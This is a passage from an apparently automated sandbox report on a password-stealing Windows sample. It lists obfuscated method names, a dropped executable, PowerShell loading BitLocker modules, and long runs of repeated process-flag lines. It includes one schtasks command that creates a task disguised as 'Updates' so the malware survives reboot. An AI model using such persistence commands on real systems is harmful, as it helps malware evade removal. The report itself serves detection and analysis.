Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, DKXLkcXaAY02BNmiss.cs	High entropy of concatenated method names: 'M782xFSeS', 'i8DlVFNTH', 'oGRLyPtlG', 'g2HmV54ek', 'oLCeny3Hn', 'xrqowkREW', 'HVGyGg3uDCHvtQdHI8', 'ES3q9JVL4M6OJ3sE0D', 'lnt36HTF8', 'JIwkkKndv'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, KOG1Ts8fBCdaQieJ0d.cs	High entropy of concatenated method names: 'G4XsuRVMt7', 'HglsrMpY8t', 'q8OsyVtNZM', 'p0ly4n3DSS', 'rUwyzteKr8', 'lSbsDMHZ8L', 'FiQsECJJAJ', 'Tt4sXVA3b4', 'RM5spTx6Ud', 'e4usZasGFQ'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, lxuIxS626uPP3Z2gJP.cs	High entropy of concatenated method names: 'iI3phwQBH6', 'sM8puITtcA', 'iD7pGq8jK8', 't4Sprnpysy', 'uxFpdeZMJL', 'hUIpy0SpTy', 'xDcpsRlnAR', 'lx9p6wwWjq', 'zQkp0OxppQ', 't4Ap9JFwIF'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, bOdrHAW3rFim79dstj.cs	High entropy of concatenated method names: 'WWTSFfrBd1', 'x9QSeb9j7c', 'fHbSV90JWq', 'CsDSvibYZ6', 'mn2SAN9YT1', 'pT9SaqoB7P', 'XsTS88B0cn', 'I4kSjdGTyc', 'jYmSQvgfkR', 'g9OS5BCeJV'
Source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe.4c5d140.3.raw.unpack, jVPN2sqqRqN73tatjx.cs	High entropy of concatenated method names: 'Y5AHI9Zgd2', 'Nc9H4g58oD', 'vZp3DoKHwO', 'coD3EqM3PM', 'TEDH5qkHsh', 'IyhHTFag4G', 'XhjHWBj8vo', 'fYJHn0M4Gc', 'KLiHK4nyXN', 'WrWHMoTFnB'

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

File created: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PUwpftrjIH" /XML "C:\Users\user\AppData\Local\Temp\tmp32DE.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\PUwpftrjIH.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.25825.12964.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
